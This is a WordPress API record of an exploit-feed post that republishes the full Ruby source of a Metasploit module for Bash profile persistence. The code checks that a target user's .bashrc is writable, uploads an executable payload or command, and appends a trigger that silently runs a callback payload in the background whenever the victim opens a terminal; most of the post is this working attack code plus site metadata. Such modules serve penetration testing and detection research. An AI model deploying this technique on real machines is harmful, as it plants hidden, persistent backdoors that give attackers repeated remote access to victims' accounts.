{"id":15489,"date":"2025-09-02T14:50:03","date_gmt":"2025-09-02T14:50:03","guid":{"rendered":"http:\/\/localhost\/?p=15489"},"modified":"2025-09-02T14:50:03","modified_gmt":"2025-09-02T14:50:03","slug":"bash-profile-persistence","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=15489","title":{"rendered":"Bash Profile Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-02T19:04:30&#8243;,&#8221;description&#8221;:&#8221;This module writes an execution trigger to the target\\u0026#x27;s Bash profile.           The execution trigger executes a call back payload whenever the target         &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-02T18:54:45&#8243;,&#8221;modified&#8221;:&#8221;2025-09-02T18:54:45&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Bash Profile Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n  Rank = ExcellentRanking\\n\\n  include Msf::Post::File\\n  include Msf::Post::Unix\\n  include Msf::Auxiliary::Report\\n  include Msf::Exploit::EXE # for generate_payload_exe\\n  include Msf::Post::Linux::User\\n  include Msf::Exploit::Local::Persistence\\n  prepend Msf::Exploit::Remote::AutoCheck\\n  include Msf::Exploit::Deprecated\\n  moved_from &#8216;exploits\/linux\/local\/bash_profile_persistence&#8217;\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Bash Profile Persistence&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module writes an execution trigger to the target&#8217;s Bash profile.\\n          The execution trigger executes a call back payload whenever the target\\n          user opens a Bash terminal.\\n          Verified on Ubuntu 22.04 and 18.04 desktop with Gnome\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Michael Long \\u003cbluesentinel[at]protonmail.com\\u003e&#8217;\\n        ],\\n        &#8216;Payload&#8217; =\\u003e {\\n          &#8216;BadChars&#8217; =\\u003e &#8216;#%\\\\n\\&#8221;&#8216;\\n        },\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;1989-06-08&#8217;, # First public release of Bourne Again Shell\\n        &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n        &#8216;Arch&#8217; =\\u003e [\\n          ARCH_CMD,\\n          ARCH_X86,\\n          ARCH_X64,\\n          ARCH_ARMLE,\\n          ARCH_AARCH64,\\n          ARCH_PPC,\\n          ARCH_MIPSLE,\\n          ARCH_MIPSBE\\n        ],\\n        &#8216;SessionTypes&#8217; =\\u003e [&#8216;meterpreter&#8217;, &#8216;shell&#8217;],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [&#8216;Automatic&#8217;, {}]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION]\\n        ],\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Reliability&#8217; =\\u003e [ REPEATABLE_SESSION, EVENT_DEPENDENT ],\\n          &#8216;Stability&#8217; =\\u003e [ CRASH_SAFE ],\\n          &#8216;SideEffects&#8217; =\\u003e [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;BASH_PROFILE&#8217;, [true, &#8216;Target Bash profile location. Usually .bashrc or .bash_profile.&#8217;, &#8216;.bashrc&#8217;]),\\n        OptString.new(&#8216;BACKDOOR_NAME&#8217;, [false, &#8216;Name of binary to write&#8217;]),\\n      ]\\n    )\\n  end\\n\\n  def target_user\\n    return datastore[&#8216;USER&#8217;] unless datastore[&#8216;USER&#8217;].blank?\\n\\n    whoami\\n  end\\n\\n  def profile_path\\n    user = target_user\\n    home = get_home_dir(user)\\n    \\&#8221;#{home}\/#{datastore[&#8216;BASH_PROFILE&#8217;]}\\&#8221;\\n  end\\n\\n  def check\\n    print_warning(&#8216;Payloads in \/tmp will only last until reboot, you want to choose elsewhere.&#8217;) if datastore[&#8216;WritableDir&#8217;].start_with?(&#8216;\/tmp&#8217;)\\n    ppath = profile_path\\n\\n    # check that target Bash profile file exists\\n    return CheckCode::Safe(\\&#8221;Bash profile does not exist: #{ppath}\\&#8221;) unless exist?(ppath)\\n\\n    vprint_good(\\&#8221;Bash profile exists: #{ppath}\\&#8221;)\\n\\n    # check that target Bash profile file is writable\\n    return CheckCode::Safe(\\&#8221;Bash profile is not writable: #{ppath}\\&#8221;) unless writable?(ppath)\\n\\n    vprint_good(\\&#8221;Bash profile is writable: #{ppath}\\&#8221;)\\n\\n    CheckCode::Detected(\\&#8221;Bash profile exists and is writable: #{ppath}\\&#8221;)\\n  end\\n\\n  def install_persistence\\n    # create Bash profile backup on local system before persistence is added\\n    ppath = profile_path\\n    backup_profile = read_file(ppath)\\n\\n    backup_profile_path = store_loot(\\&#8221;desktop.#{datastore[&#8216;BASH_PROFILE&#8217;].split(&#8216;\/&#8217;).last}\\&#8221;, &#8216;text\/plain&#8217;, session, backup_profile, datastore[&#8216;BASH_PROFILE&#8217;].split(&#8216;\/&#8217;).last, &#8216;bash profile backup&#8217;)\\n    print_status(\\&#8221;Created backup Bash profile: #{backup_profile_path}\\&#8221;)\\n\\n    if payload.arch.first == &#8216;cmd&#8217;\\n      pload = payload.encoded\\n      pload = pload.sub(\/\\u0026$\/, &#8221;) # remove trailing \\u0026 since we add it later\\n      exec_payload_string = \\&#8221;#{pload} \\u003e \/dev\/null 2\\u003e\\u00261 \\u0026 \\\\n\\&#8221; # send stdin,out,err to \/dev\/null\\n    else\\n      # upload persistent payload to target and make executable (chmod 700)\\n      payload_path = datastore[&#8216;WritableDir&#8217;]\\n      payload_path = payload_path.end_with?(&#8216;\/&#8217;) ? payload_path : \\&#8221;#{payload_path}\/\\&#8221;\\n      payload_name = datastore[&#8216;BACKDOOR_NAME&#8217;] || rand_text_alphanumeric(5..10)\\n      payload_path \\u003c\\u003c payload_name\\n      upload_and_chmodx(payload_path, generate_payload_exe)\\n\\n      # write payload trigger to Bash profile\\n      exec_payload_string = \\&#8221;#{payload_path} \\u003e \/dev\/null 2\\u003e\\u00261 \\u0026 \\\\n\\&#8221; # send stdin,out,err to \/dev\/null\\n    end\\n    append_file(ppath, exec_payload_string)\\n    vprint_status(&#8216;Created Bash profile persistence&#8217;)\\n    print_good(&#8216;Payload will be triggered when target opens a Bash terminal&#8217;)\\n\\n    @clean_up_rc = \\&#8221;rm #{payload_path}\\\\n\\&#8221;\\n    @clean_up_rc \\u003c\\u003c \\&#8221;upload #{backup_profile_path} #{ppath}\\&#8221;\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/persistence\/bash_profile.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/persistence\/bash_profile\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-09-02T19:04:30&#8243;,&#8221;description&#8221;:&#8221;This module writes an execution trigger to the target\\u0026#x27;s Bash profile. The execution trigger executes a call back payload whenever the target &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-02T18:54:45&#8243;,&#8221;modified&#8221;:&#8221;2025-09-02T18:54:45&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Bash Profile Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n#&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-15489","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Bash Profile Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=15489\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Bash Profile Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-09-02T19:04:30&#8243;,&#8221;description&#8221;:&#8221;This module writes an execution trigger to the targetu0026#x27;s Bash profile. The execution trigger executes a call back payload whenever the target &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-02T18:54:45&#8243;,&#8221;modified&#8221;:&#8221;2025-09-02T18:54:45&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Bash Profile Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##n#...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=15489\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-09-02T14:50:03+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15489#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15489\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Bash Profile Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE-\",\"datePublished\":\"2025-09-02T14:50:03+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15489\"},\"wordCount\":866,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15489#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15489\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15489\",\"name\":\"Bash Profile Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-09-02T14:50:03+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15489#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15489\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15489#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Bash Profile Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Bash Profile Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=15489","og_locale":"en_US","og_type":"article","og_title":"Bash Profile Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-09-02T19:04:30&#8243;,&#8221;description&#8221;:&#8221;This module writes an execution trigger to the targetu0026#x27;s Bash profile. The execution trigger executes a call back payload whenever the target &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-09-02T18:54:45&#8243;,&#8221;modified&#8221;:&#8221;2025-09-02T18:54:45&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Bash Profile Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##n#...","og_url":"https:\/\/zero.redgem.net\/?p=15489","og_site_name":"zero redgem","article_published_time":"2025-09-02T14:50:03+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=15489#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=15489"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Bash Profile Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE-","datePublished":"2025-09-02T14:50:03+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=15489"},"wordCount":866,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=15489#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=15489","url":"https:\/\/zero.redgem.net\/?p=15489","name":"Bash Profile Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-09-02T14:50:03+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=15489#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=15489"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=15489#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Bash Profile Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-BASH_PROFILE-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15489","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15489"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15489\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15489"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=15489"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=15489"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}